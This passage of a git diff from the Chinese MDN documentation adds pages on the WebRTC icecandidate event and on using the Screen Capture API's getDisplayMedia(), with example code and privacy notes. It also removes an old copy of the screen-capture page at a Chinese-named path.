-
- -

[1] 此功能是在首选项后面实现的。

- -

See also

- - diff --git a/files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html b/files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html new file mode 100644 index 0000000000..38fc5c1920 --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html @@ -0,0 +1,135 @@ +--- +title: 'RTCPeerConnection: icecandidate event' +slug: Web/Events/icecandidate +translation_of: Web/API/RTCPeerConnection/icecandidate_event +--- +

{{SeeCompatTable}}

+ +

当 {{domxref("RTCPeerConnection")}}通过{{domxref("RTCPeerConnection.setLocalDescription()")}}方法更改本地描述之后,该{{domxref("RTCPeerConnection")}}会抛出icecandidate事件。该事件的监听器需要将更改后的描述信息传送给远端{{domxref("RTCPeerConnection")}},以更新远端的备选源。

+ +

使用指南

+ +

icecandidate 的类型为 {{domxref("RTCPeerIceCandidateEvent")}}, 在以下三种情况下会触发该事件:

+ +

分享新的源

+ +

触发icecandidate事件的首要原因:当获得新的源之后,需要将该源的信息发送给远端信号服务器,并分发至其他端的{{domxref("RTCPeerConnection")}}。其他{{domxref("RTCPeerConnection")}}通过{{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}方法将新{{domxref("RTCPeerCandidateIceEvent.candidate", "candidate")}} 中携带的信息,将新的源描述信息添加进它的备选池中;

+ +
rtcPeerConnection.onicecandidate = (event) => {
+  if (event.candidate) {
+    sendCandidateToRemotePeer(event.candidate)
+  }
+}
+
+ + + +

概述

+ +
+
规范
+
{{ SpecName('WebRTC 1.0', '#event-mediastream-icecandidate', 'icecandidate') }}
+
接口
+
{{domxref("RTCPeerConnectionIceEvent")}}
+
事件冒泡
+
+
能否取消默认
+
+
事件目标
+
{{domxref("RTCPeerConnection")}}
+
默认行为
+
+
+ +

属性

+ +

属性继承自{{domxref("RTCPeerConnectionIceEvent")}}.

+ +

方法

+ +

方法继承自 {{domxref("RTCPeerConnectionIceEvent")}}.

+ +

相关事件

+ + + +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{ SpecName('WebRTC 1.0', '#event-mediastream-icecandidate', 'icecandidate') }}{{Spec2('WebRTC 1.0')}}
+ +

兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
特性AndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参阅

+ + diff --git a/files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html b/files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html new file mode 100644 index 0000000000..ff32263241 --- /dev/null +++ b/files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html @@ -0,0 +1,355 @@ +--- +title: 使用屏幕捕获API +slug: Web/API/Screen_Capture_API/使用屏幕捕获API +tags: + - API + - 屏幕捕获 + - 捕获 +translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture +--- +

{{DefaultAPISidebar("使用屏幕捕获API")}}

+ +

在这篇文章中,我们将研究如何使用屏幕捕获API和它的{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}方法来捕获部分或全部屏幕进行流媒体传输,通过WebRTC录制或分享。

+ +
+

Note: It may be useful to note that recent versions of the WebRTC adapter.js shim include implementations of getDisplayMedia() to enable screen sharing on browsers that support it but do not implement the current standard API. This works with at least Chrome, Edge, and Firefox.

+
+ +

捕捉屏幕内容

+ +

Capturing screen contents as a live {{domxref("MediaStream")}} is initiated by calling {{domxref("MediaDevices.getDisplayMedia", "navigator.mediaDevices.getDisplayMedia()")}}, which returns a promise that resolves to a stream containing the live screen contents.

+ +
+
开始屏幕捕捉: 使用async/await 风格
+ +
async function startCapture(displayMediaOptions) {
+  let captureStream = null;
+
+  try {
+    captureStream = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
+  } catch(err) {
+    console.error("Error: " + err);
+  }
+  return captureStream;
+}
+ +

You can write this code either using an asynchronous function and the await operator, as shown above, or using the {{jsxref("Promise")}} directly, as seen below.

+ +
+
开始屏幕捕获: 使用Promise 风格 + +
function startCapture(displayMediaOptions) {
+ let captureStream = null;
+
+ return navigator.mediaDevices.getDisplayMedia(displayMediaOptions)
+    .catch(err => { console.error("Error:" + err); return null; });
+}
+ +

Either way, the {{Glossary("user agent")}} responds by presenting a user interface that prompts the user to choose the screen area to share. Both of these implementations of startCapture() return the {{domxref("MediaStream")}} containing the captured display imagery.

+ +

See {{anch("Options and constraints")}}, below, for more on both how to specify the type of surface you want as well as other ways to adjust the resulting stream.

+ +
+
Example of a window allowing the user to select a display surface to capture
+ +

Screenshot of Chrome's window for picking a source surface

+
+ +

You can then use the captured stream, captureStream, for anything that accepts a stream as input. The {{anch("Examples", "examples")}} below show a few ways to make use of the stream.

+ +

Visible vs logical display surfaces

+ +

For the purposes of the Screen Capture API, a display surface is any content object that can be selected by the API for sharing purposes. Sharing surfaces include the contents of a browser tab, a complete window, all of the applications of a window combined into a single surface, and a monitor (or group of monitors combined together into one surface).

+ +

There are two types of display surface. A visible display surface is a surface which is entirely visible on the screen, such as the frontmost window or tab, or the entire screen.

+ +

A logical display surface is one which is in part or completely obscured, either by being overlapped by another object to some extent, or by being entirely hidden or offscreen. How these are handled by the Screen Capture API varies. Generally, the browser will provide an image which obscures the hidden portion of the logical display surface in some way, such as by blurring or replacing with a color or pattern. This is done for security reasons, as the content that cannot be seen by the user may contain data which they do not want to share.

+ +

A user agent might allow the capture of the entire content of an obscured window after gaining permission from the user to do so. In this case, the user agent may include the obscured content, either by getting the current contents of the hidden portion of the window or by presenting the most-recently-visible contents if the current contents are not available.

+ +

Options and constraints

+ +

The constraints object passed into {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} is a {{domxref("DisplayMediaStreamConstraints")}} object which is used to configuring the resulting stream.

+ +
+

Note: Unlike most uses of constraints in media APIs, here it's solely used to define the stream configuration, and not to filter the available choices.

+
+ +

There are three new constraints added to MediaTrackConstraints (as well as to {{domxref("MediaTrackSupportedConstraints")}} and {{domxref("MediaTrackSettings")}}) for configuring a screen capture stream:

+ +
+
{{domxref("MediaTrackConstraints.cursor", "cursor")}}
+
+

Indicates whether or not to capture the mouse cursor, and if so, whether to do so all the time or only while the mouse is in motion. The possible values are:

+ +
+
always
+
The mouse cursor should always be captured in the generated stream.
+
motion
+
The cursor should only be visible while moving, and, at the discretion of the {{Glossary("user agent")}}, for a brief time before after moving. Then the cursor is removed from the stream.
+
never
+
The cursor should never be visible in the generated stream.
+
+
+
{{domxref("MediaTrackConstraints.logicalSurface", "logicalSurface")}}
+
A Boolean which if true indicates that the capture should include offscreen areas of the source, if there are any.
+
+ +

None of the constraints are applied in any way until after the content to capture has been selected. The contraints alter what you see in the resulting stream.

+ +

For example, if you specify a {{domxref("MediaTrackConstraints.width", "width")}} constraint for the video, it's applied by scaling the video after the user selects the area to share. It doesn't establish a restriction on the size of the source itself.

+ +
+

Note: Constraints never cause changes to the list of sources available for capture by the Screen Sharing API. This ensures that web applications can't force the user to share specific content by restricting the source list until only one item is left.

+
+ +

While display capture is in effect, the machine which is sharing screen contents will display some form of indicator so the user is aware that sharing is taking place.

+ +
+

Note: For privacy and security reasons, screen sharing sources are not enumerable using {{domxref("MediaDevices.enumerateDevices", "enumerateDevices()")}}. Related to this, the {{event("devicechange")}} event is never sent when there are changes to the sources available for getDisplayMedia().

+
+ +

Capturing shared audio

+ +

{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} is most commonly used to capture video of a user's screen (or parts thereof). However, {{Glossary("user agent", "user agents")}} may allow the capture of audio along with the video content. The source of this audio might be the selected window, the entire computer's audio system, or the user's microphone (or a combination of all of the above).

+ +

Before starting a project that will require sharing of audio, be sure to check the {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getDisplayMedia", "Browser compatibility", "code")}} to see if the browsers you wish compaibility with have support for audio in captured screen streams.

+ +

To request that the screen be shared with included audio, the options passed into getDisplayMedia() might look like this:

+ +
const gdmOptions = {
+  video: true,
+  audio: true
+}
+
+ +

This allows the user total freedom to select whatever they want, within the limits of what the user agent supports. This could be refined further by specifying additional information for each of audio and video:

+ +
const gdmOptions = {
+  video: {
+    cursor: "always"
+  },
+  audio: {
+    echoCancellation: true,
+    noiseSuppression: true,
+    sampleRate: 44100
+  }
+}
+
+ +

In this example the cursor will always be visible in the capture, and the audio track should ideally have noise suppression and echo cancellation features enabled, as well as an ideal audio sample rate of 44.1kHz.

+ +

Capturing audio is always optional, and even when web content requests a stream with both audio and video, the returned {{domxref("MediaStream")}} may still have only one video track, with no audio.

+ +
+

Note: Some properties are not widely implemented and might not be used by the engine. cursor, for example, has limited support.

+
+ +

使用捕获的数据流

+ +

The {{jsxref("promise")}} returned by {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} resolves to a {{domxref("MediaStream")}} that contains at least one video stream that contains the screen or screen area, and which is adjusted or filtered based upon the constraints specifed when getDisplayMedia() was called.

+ +

安全

+ +

As is always the case when sharing content over a network, it's important to consider the privacy and safety implications of screen sharing.

+ +

潜在的风险

+ +

Privacy and security issues surrounding screen sharing are usually not overly serious, but they do exist. The largest potential issue is users inadvertently sharing content they did not wish to share.

+ +

For example, privacy and/or security violations can easily occur if the user is sharing their screen and a visible background window happens to contain personal information, or if their password manager is visible in the shared stream. This effect can be amplified when capturing logical display surfaces, which may contain content that the user doesn't know about at all, let alone see.

+ +

User agents which take privacy seriously should obfuscate content that is not actually visible onscreen, unless authorization has been given to share that content specifically.

+ +

Authorizing capture of display contents

+ +

Before streaming of captured screen contents can begin, the {{Glossary("user agent")}} will ask the user to confirm the sharing request, and to select the content to share.

+
+
+ +

示例

+ +

Simple screen capture

+ +

In this example, the contents of the captured screen area are simply streamed into a {{HTMLElement("video")}} element on the same page.

+ +

JavaScript

+ +

There isn't all that much code needed in order to make this work, and if you're familiar with using {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} to capture video from a camera, you'll find {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} to be very familiar.

+ +
Setup
+ +

First, some constants are set up to reference the elements on the page to which we'll need access: the {{HTMLElement("video")}} into which the captured screen contents will be streamed, a box into which logged output will be drawn, and the start and stop buttons that will turn on and off capture of screen imagery.

+ +

The object displayMediaOptions contains the {{domxref("MediaStreamConstraints")}} to pass into getDisplayMedia(); here, the {{domxref("MediaTrackConstraints.cursor", "cursor")}} property is set to always, indicating that the mouse cursor should always be included in the captured media.

+ +
+

Note: Some properties are not widely implemented and might not be used by the engine. cursor, for example, has limited support.

+
+ +

Finally, event listeners are established to detect user clicks on the start and stop buttons.

+ +
const videoElem = document.getElementById("video");
+const logElem = document.getElementById("log");
+const startElem = document.getElementById("start");
+const stopElem = document.getElementById("stop");
+
+// Options for getDisplayMedia()
+
+var displayMediaOptions = {
+  video: {
+    cursor: "always"
+  },
+  audio: false
+};
+
+// Set event listeners for the start and stop buttons
+startElem.addEventListener("click", function(evt) {
+  startCapture();
+}, false);
+
+stopElem.addEventListener("click", function(evt) {
+  stopCapture();
+}, false);
+ +
Logging content
+ +

To make logging of errors and other issues easy, this example overrides certain {{domxref("Console")}} methods to output their messages to the {{HTMLElement("pre")}} block whose ID is log.

+ +
console.log = msg => logElem.innerHTML += `${msg}<br>`;
+console.error = msg => logElem.innerHTML += `<span class="error">${msg}</span><br>`;
+console.warn = msg => logElem.innerHTML += `<span class="warn">${msg}<span><br>`;
+console.info = msg => logElem.innerHTML += `<span class="info">${msg}</span><br>`;
+ +

This allows us to use the familiar {{domxref("console.log()")}}, {{domxref("console.error()")}}, and so on to log information to the log box in the document.

+ +
Starting display capture
+ +

The startCapture() method, below, starts the capture of a {{domxref("MediaStream")}} whose contents are taken from a user-selected area of the screen. startCapture() is called when the "Start Capture" button is clicked.

+ +
async function startCapture() {
+  logElem.innerHTML = "";
+
+  try {
+    videoElem.srcObject = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
+    dumpOptionsInfo();
+  } catch(err) {
+    console.error("Error: " + err);
+  }
+}
+ +

After clearing the contents of the log in order to get rid of any leftover text from the previous attempt to connect, startCapture() calls {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}, passing into it the constraints object defined by displayMediaOptions. Using {{jsxref("await")}}, the following line of code does not get executed until after the {{jsxref("promise")}} returned by getDisplayMedia() resolves. Upon resolution, the promise returns a {{domxref("MediaStream")}}, which will stream the contents of the screen, window, or other region selected by the user.

+ +

The stream is connected to the {{HTMLElement("video")}} element by storing the returned MediaStream into the element's {{domxref("HTMLMediaElement.srcObject", "srcObject")}}.

+ +

The dumpOptionsInfo() function—which we will look at in a moment—dumps information about the stream to the log box for educational purposes.

+ +

If any of that fails, the catch() clause outputs an error message to the log box.

+ +
Stopping display capture
+ +

The stopCapture() method is called when the "Stop Capture" button is clicked. It stops the stream by getting its track list using {{domxref("MediaStream.getTracks()")}}, then calling each track's {domxref("MediaStreamTrack.stop, "stop()")}} method. Once that's done, srcObject is set to null to make sure it's understood by anyone interested that there's no stream connected.

+ +
function stopCapture(evt) {
+  let tracks = videoElem.srcObject.getTracks();
+
+  tracks.forEach(track => track.stop());
+  videoElem.srcObject = null;
+}
+ +
Dumping configuration information
+ +

For informational purposes, the startCapture() method shown above calls a method named dumpOptions(), which outputs the current track settings as well as the constraints that were placed upon the stream when it was created.

+ +
function dumpOptionsInfo() {
+  const videoTrack = videoElem.srcObject.getVideoTracks()[0];
+
+  console.info("Track settings:");
+  console.info(JSON.stringify(videoTrack.getSettings(), null, 2));
+  console.info("Track constraints:");
+  console.info(JSON.stringify(videoTrack.getConstraints(), null, 2));
+}
+ +

The track list is obtained by calling {{domxref("MediaStream.getVideoTracks", "getVideoTracks()")}} on the capture'd screen's {{domxref("MediaStream")}}. The settings currently in effect are obtained using {{domxref("MediaStreamTrack.getSettings", "getSettings()")}} and the established constraints are gotten with {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}

+ +

HTML

+ +

The HTML starts with a simple introductory paragraph, then gets into the meat of things.

+ +
    +
+ +
<p>This example shows you the contents of the selected part of your display.
+Click the Start Capture button to begin.</p>
+
+<p><button id="start">Start Capture</button>&nbsp;<button id="stop">Stop Capture</button></p>
+
+<video id="video" autoplay></video>
+<br>
+
+<strong>Log:</strong>
+<br>
+<pre id="log"></pre>
+ +

The key parts of the HTML are:

+ +
    +
  1. A {{HTMLElement("button")}} labeled "Start Capture" which, when clicked, calls the startCapture() function to request access to, and begin capturing, screen contents.
  2. +
  3. A second button, "Stop Capture", which upon being clicked calls stopCapture() to terminate capture of screen contents.
  4. +
  5. A {{HTMLElement("video")}} into which the captured screen contents are streamed.
  6. +
  7. A {{HTMLElement("pre")}} block into which logged text is placed by the intercepted {{domxref("Console")}}method.
  8. +
+ +

CSS

+ +

The CSS is entirely cosmetic in this example. The video is given a border, and its width is set to occupy nearly the entire available horizontal space (width: 98%). {{cssxref("max-width")}} is set to 860px to set an absolute upper limit on the video's size,

+ +

The error, warn, and info classes are used to style the corresponding console output types.

+ +
#video {
+  border: 1px solid #999;
+  width: 98%;
+  max-width: 860px;
+}
+
+.error {
+  color: red;
+}
+
+.warn {
+  color: orange;
+}
+
+.info {
+  color: darkgreen;
+}
+ +

Result

+ +

The final product looks like this. If your browser supports Screen Capture API, clicking "Start Capture" will present the {{Glossary("user agent", "user agent's")}} interface for selecting a screen, window, or tab to share.

+ +

{{EmbedLiveSample("Simple_screen_capture", 640, 680, "", "", "", "display-capture")}}

+ +

安全

+ +

In order to function when Feature Policy is enabled, you will need the display-capture permission. This can be done using the {{HTTPHeader("Feature-Policy")}} {{Glossary("HTTP")}} header or—if you're using the Screen Capture API in an {{HTMLElement("iframe")}}, the <iframe> element's {{htmlattrxref("allow", "iframe")}} attribute.

+ +

For example, this line in the HTTP headers will enable Screen Capture API for the document and any embedded {{HTMLElement("iframe")}} elements that are loaded from the same origin:

+ +
Feature-Policy: display-capture 'self'
+ +

If you're performing screen capture within an <iframe>, you can request permission just for that frame, which is clearly more secure than requesting a more general permission:

+ +
<iframe src="https://mycode.example.net/etc" allow="display-capture">
+</iframe>
+
+ +

相关链接

+ + +
diff --git "a/files/zh-cn/web/api/screen_capture_api/\344\275\277\347\224\250\345\261\217\345\271\225\346\215\225\350\216\267api/index.html" "b/files/zh-cn/web/api/screen_capture_api/\344\275\277\347\224\250\345\261\217\345\271\225\346\215\225\350\216\267api/index.html" deleted file mode 100644 index ff32263241..0000000000 --- "a/files/zh-cn/web/api/screen_capture_api/\344\275\277\347\224\250\345\261\217\345\271\225\346\215\225\350\216\267api/index.html" +++ /dev/null @@ -1,355 +0,0 @@ ---- -title: 使用屏幕捕获API -slug: Web/API/Screen_Capture_API/使用屏幕捕获API -tags: - - API - - 屏幕捕获 - - 捕获 -translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture ---- -

{{DefaultAPISidebar("使用屏幕捕获API")}}

- -

在这篇文章中,我们将研究如何使用屏幕捕获API和它的{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}方法来捕获部分或全部屏幕进行流媒体传输,通过WebRTC录制或分享。

- -
-

Note: It may be useful to note that recent versions of the WebRTC adapter.js shim include implementations of getDisplayMedia() to enable screen sharing on browsers that support it but do not implement the current standard API. This works with at least Chrome, Edge, and Firefox.

-
- -

捕捉屏幕内容

- -

Capturing screen contents as a live {{domxref("MediaStream")}} is initiated by calling {{domxref("MediaDevices.getDisplayMedia", "navigator.mediaDevices.getDisplayMedia()")}}, which returns a promise that resolves to a stream containing the live screen contents.

- -
-
开始屏幕捕捉: 使用async/await 风格
- -
async function startCapture(displayMediaOptions) {
-  let captureStream = null;
-
-  try {
-    captureStream = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
-  } catch(err) {
-    console.error("Error: " + err);
-  }
-  return captureStream;
-}
- -

You can write this code either using an asynchronous function and the await operator, as shown above, or using the {{jsxref("Promise")}} directly, as seen below.

- -
-
开始屏幕捕获: 使用Promise 风格 - -
function startCapture(displayMediaOptions) {
- let captureStream = null;
-
- return navigator.mediaDevices.getDisplayMedia(displayMediaOptions)
-    .catch(err => { console.error("Error:" + err); return null; });
-}
- -

Either way, the {{Glossary("user agent")}} responds by presenting a user interface that prompts the user to choose the screen area to share. Both of these implementations of startCapture() return the {{domxref("MediaStream")}} containing the captured display imagery.

- -

See {{anch("Options and constraints")}}, below, for more on both how to specify the type of surface you want as well as other ways to adjust the resulting stream.

- -
-
Example of a window allowing the user to select a display surface to capture
- -

Screenshot of Chrome's window for picking a source surface

-
- -

You can then use the captured stream, captureStream, for anything that accepts a stream as input. The {{anch("Examples", "examples")}} below show a few ways to make use of the stream.

- -

Visible vs logical display surfaces

- -

For the purposes of the Screen Capture API, a display surface is any content object that can be selected by the API for sharing purposes. Sharing surfaces include the contents of a browser tab, a complete window, all of the applications of a window combined into a single surface, and a monitor (or group of monitors combined together into one surface).

- -

There are two types of display surface. A visible display surface is a surface which is entirely visible on the screen, such as the frontmost window or tab, or the entire screen.

- -

A logical display surface is one which is in part or completely obscured, either by being overlapped by another object to some extent, or by being entirely hidden or offscreen. How these are handled by the Screen Capture API varies. Generally, the browser will provide an image which obscures the hidden portion of the logical display surface in some way, such as by blurring or replacing with a color or pattern. This is done for security reasons, as the content that cannot be seen by the user may contain data which they do not want to share.

- -

A user agent might allow the capture of the entire content of an obscured window after gaining permission from the user to do so. In this case, the user agent may include the obscured content, either by getting the current contents of the hidden portion of the window or by presenting the most-recently-visible contents if the current contents are not available.

- -

Options and constraints

- -

The constraints object passed into {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} is a {{domxref("DisplayMediaStreamConstraints")}} object which is used to configuring the resulting stream.

- -
-

Note: Unlike most uses of constraints in media APIs, here it's solely used to define the stream configuration, and not to filter the available choices.

-
- -

There are three new constraints added to MediaTrackConstraints (as well as to {{domxref("MediaTrackSupportedConstraints")}} and {{domxref("MediaTrackSettings")}}) for configuring a screen capture stream:

- -
-
{{domxref("MediaTrackConstraints.cursor", "cursor")}}
-
-

Indicates whether or not to capture the mouse cursor, and if so, whether to do so all the time or only while the mouse is in motion. The possible values are:

- -
-
always
-
The mouse cursor should always be captured in the generated stream.
-
motion
-
The cursor should only be visible while moving, and, at the discretion of the {{Glossary("user agent")}}, for a brief time before after moving. Then the cursor is removed from the stream.
-
never
-
The cursor should never be visible in the generated stream.
-
-
-
{{domxref("MediaTrackConstraints.logicalSurface", "logicalSurface")}}
-
A Boolean which if true indicates that the capture should include offscreen areas of the source, if there are any.
-
- -

None of the constraints are applied in any way until after the content to capture has been selected. The contraints alter what you see in the resulting stream.

- -

For example, if you specify a {{domxref("MediaTrackConstraints.width", "width")}} constraint for the video, it's applied by scaling the video after the user selects the area to share. It doesn't establish a restriction on the size of the source itself.

- -
-

Note: Constraints never cause changes to the list of sources available for capture by the Screen Sharing API. This ensures that web applications can't force the user to share specific content by restricting the source list until only one item is left.

-
- -

While display capture is in effect, the machine which is sharing screen contents will display some form of indicator so the user is aware that sharing is taking place.

- -
-

Note: For privacy and security reasons, screen sharing sources are not enumerable using {{domxref("MediaDevices.enumerateDevices", "enumerateDevices()")}}. Related to this, the {{event("devicechange")}} event is never sent when there are changes to the sources available for getDisplayMedia().

-
- -

Capturing shared audio

- -

{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} is most commonly used to capture video of a user's screen (or parts thereof). However, {{Glossary("user agent", "user agents")}} may allow the capture of audio along with the video content. The source of this audio might be the selected window, the entire computer's audio system, or the user's microphone (or a combination of all of the above).

- -

Before starting a project that will require sharing of audio, be sure to check the {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getDisplayMedia", "Browser compatibility", "code")}} to see if the browsers you wish compaibility with have support for audio in captured screen streams.

- -

To request that the screen be shared with included audio, the options passed into getDisplayMedia() might look like this:

- -
const gdmOptions = {
-  video: true,
-  audio: true
-}
-
- -

This allows the user total freedom to select whatever they want, within the limits of what the user agent supports. This could be refined further by specifying additional information for each of audio and video:

- -
const gdmOptions = {
-  video: {
-    cursor: "always"
-  },
-  audio: {
-    echoCancellation: true,
-    noiseSuppression: true,
-    sampleRate: 44100
-  }
-}
-
- -

In this example the cursor will always be visible in the capture, and the audio track should ideally have noise suppression and echo cancellation features enabled, as well as an ideal audio sample rate of 44.1kHz.

- -

Capturing audio is always optional, and even when web content requests a stream with both audio and video, the returned {{domxref("MediaStream")}} may still have only one video track, with no audio.

- -
-

Note: Some properties are not widely implemented and might not be used by the engine. cursor, for example, has limited support.

-
- -

使用捕获的数据流

- -

The {{jsxref("promise")}} returned by {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} resolves to a {{domxref("MediaStream")}} that contains at least one video stream that contains the screen or screen area, and which is adjusted or filtered based upon the constraints specifed when getDisplayMedia() was called.

- -

安全

- -

As is always the case when sharing content over a network, it's important to consider the privacy and safety implications of screen sharing.

- -

潜在的风险

- -

Privacy and security issues surrounding screen sharing are usually not overly serious, but they do exist. The largest potential issue is users inadvertently sharing content they did not wish to share.

- -

For example, privacy and/or security violations can easily occur if the user is sharing their screen and a visible background window happens to contain personal information, or if their password manager is visible in the shared stream. This effect can be amplified when capturing logical display surfaces, which may contain content that the user doesn't know about at all, let alone see.

- -

User agents which take privacy seriously should obfuscate content that is not actually visible onscreen, unless authorization has been given to share that content specifically.

- -

Authorizing capture of display contents

- -

Before streaming of captured screen contents can begin, the {{Glossary("user agent")}} will ask the user to confirm the sharing request, and to select the content to share.

-
-
- -

示例

- -

Simple screen capture

- -

In this example, the contents of the captured screen area are simply streamed into a {{HTMLElement("video")}} element on the same page.

- -

JavaScript

- -

There isn't all that much code needed in order to make this work, and if you're familiar with using {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} to capture video from a camera, you'll find {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} to be very familiar.

- -
Setup
- -

First, some constants are set up to reference the elements on the page to which we'll need access: the {{HTMLElement("video")}} into which the captured screen contents will be streamed, a box into which logged output will be drawn, and the start and stop buttons that will turn on and off capture of screen imagery.

- -

The object displayMediaOptions contains the {{domxref("MediaStreamConstraints")}} to pass into getDisplayMedia(); here, the {{domxref("MediaTrackConstraints.cursor", "cursor")}} property is set to always, indicating that the mouse cursor should always be included in the captured media.

- -
-

Note: Some properties are not widely implemented and might not be used by the engine. cursor, for example, has limited support.

-
- -

Finally, event listeners are established to detect user clicks on the start and stop buttons.

- -
const videoElem = document.getElementById("video");
-const logElem = document.getElementById("log");
-const startElem = document.getElementById("start");
-const stopElem = document.getElementById("stop");
-
-// Options for getDisplayMedia()
-
-var displayMediaOptions = {
-  video: {
-    cursor: "always"
-  },
-  audio: false
-};
-
-// Set event listeners for the start and stop buttons
-startElem.addEventListener("click", function(evt) {
-  startCapture();
-}, false);
-
-stopElem.addEventListener("click", function(evt) {
-  stopCapture();
-}, false);
- -
Logging content
- -

To make logging of errors and other issues easy, this example overrides certain {{domxref("Console")}} methods to output their messages to the {{HTMLElement("pre")}} block whose ID is log.

- -
console.log = msg => logElem.innerHTML += `${msg}<br>`;
-console.error = msg => logElem.innerHTML += `<span class="error">${msg}</span><br>`;
-console.warn = msg => logElem.innerHTML += `<span class="warn">${msg}<span><br>`;
-console.info = msg => logElem.innerHTML += `<span class="info">${msg}</span><br>`;
- -

This allows us to use the familiar {{domxref("console.log()")}}, {{domxref("console.error()")}}, and so on to log information to the log box in the document.

- -
Starting display capture
- -

The startCapture() method, below, starts the capture of a {{domxref("MediaStream")}} whose contents are taken from a user-selected area of the screen. startCapture() is called when the "Start Capture" button is clicked.

- -
async function startCapture() {
-  logElem.innerHTML = "";
-
-  try {
-    videoElem.srcObject = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
-    dumpOptionsInfo();
-  } catch(err) {
-    console.error("Error: " + err);
-  }
-}
- -

After clearing the contents of the log in order to get rid of any leftover text from the previous attempt to connect, startCapture() calls {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}, passing into it the constraints object defined by displayMediaOptions. Using {{jsxref("await")}}, the following line of code does not get executed until after the {{jsxref("promise")}} returned by getDisplayMedia() resolves. Upon resolution, the promise returns a {{domxref("MediaStream")}}, which will stream the contents of the screen, window, or other region selected by the user.

- -

The stream is connected to the {{HTMLElement("video")}} element by storing the returned MediaStream into the element's {{domxref("HTMLMediaElement.srcObject", "srcObject")}}.

- -

The dumpOptionsInfo() function—which we will look at in a moment—dumps information about the stream to the log box for educational purposes.

- -

If any of that fails, the catch() clause outputs an error message to the log box.

- -
Stopping display capture
- -

The stopCapture() method is called when the "Stop Capture" button is clicked. It stops the stream by getting its track list using {{domxref("MediaStream.getTracks()")}}, then calling each track's {domxref("MediaStreamTrack.stop, "stop()")}} method. Once that's done, srcObject is set to null to make sure it's understood by anyone interested that there's no stream connected.

- -
function stopCapture(evt) {
-  let tracks = videoElem.srcObject.getTracks();
-
-  tracks.forEach(track => track.stop());
-  videoElem.srcObject = null;
-}
- -
Dumping configuration information
- -

For informational purposes, the startCapture() method shown above calls a method named dumpOptions(), which outputs the current track settings as well as the constraints that were placed upon the stream when it was created.

- -
function dumpOptionsInfo() {
-  const videoTrack = videoElem.srcObject.getVideoTracks()[0];
-
-  console.info("Track settings:");
-  console.info(JSON.stringify(videoTrack.getSettings(), null, 2));
-  console.info("Track constraints:");
-  console.info(JSON.stringify(videoTrack.getConstraints(), null, 2));
-}
- -

The track list is obtained by calling {{domxref("MediaStream.getVideoTracks", "getVideoTracks()")}} on the capture'd screen's {{domxref("MediaStream")}}. The settings currently in effect are obtained using {{domxref("MediaStreamTrack.getSettings", "getSettings()")}} and the established constraints are gotten with {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}

- -

HTML

- -

The HTML starts with a simple introductory paragraph, then gets into the meat of things.

- -
    -
- -
<p>This example shows you the contents of the selected part of your display.
-Click the Start Capture button to begin.</p>
-
-<p><button id="start">Start Capture</button>&nbsp;<button id="stop">Stop Capture</button></p>
-
-<video id="video" autoplay></video>
-<br>
-
-<strong>Log:</strong>
-<br>
-<pre id="log"></pre>
- -

The key parts of the HTML are:

- -
    -
  1. A {{HTMLElement("button")}} labeled "Start Capture" which, when clicked, calls the startCapture() function to request access to, and begin capturing, screen contents.
  2. -
  3. A second button, "Stop Capture", which upon being clicked calls stopCapture() to terminate capture of screen contents.
  4. -
  5. A {{HTMLElement("video")}} into which the captured screen contents are streamed.
  6. -
  7. A {{HTMLElement("pre")}} block into which logged text is placed by the intercepted {{domxref("Console")}}method.
  8. -
- -

CSS

- -

The CSS is entirely cosmetic in this example. The video is given a border, and its width is set to occupy nearly the entire available horizontal space (width: 98%). {{cssxref("max-width")}} is set to 860px to set an absolute upper limit on the video's size,

- -

The error, warn, and info classes are used to style the corresponding console output types.

- -
#video {
-  border: 1px solid #999;
-  width: 98%;
-  max-width: 860px;
-}
-
-.error {
-  color: red;
-}
-
-.warn {
-  color: orange;
-}
-
-.info {
-  color: darkgreen;
-}
- -

Result

- -

The final product looks like this. If your browser supports Screen Capture API, clicking "Start Capture" will present the {{Glossary("user agent", "user agent's")}} interface for selecting a screen, window, or tab to share.

- -

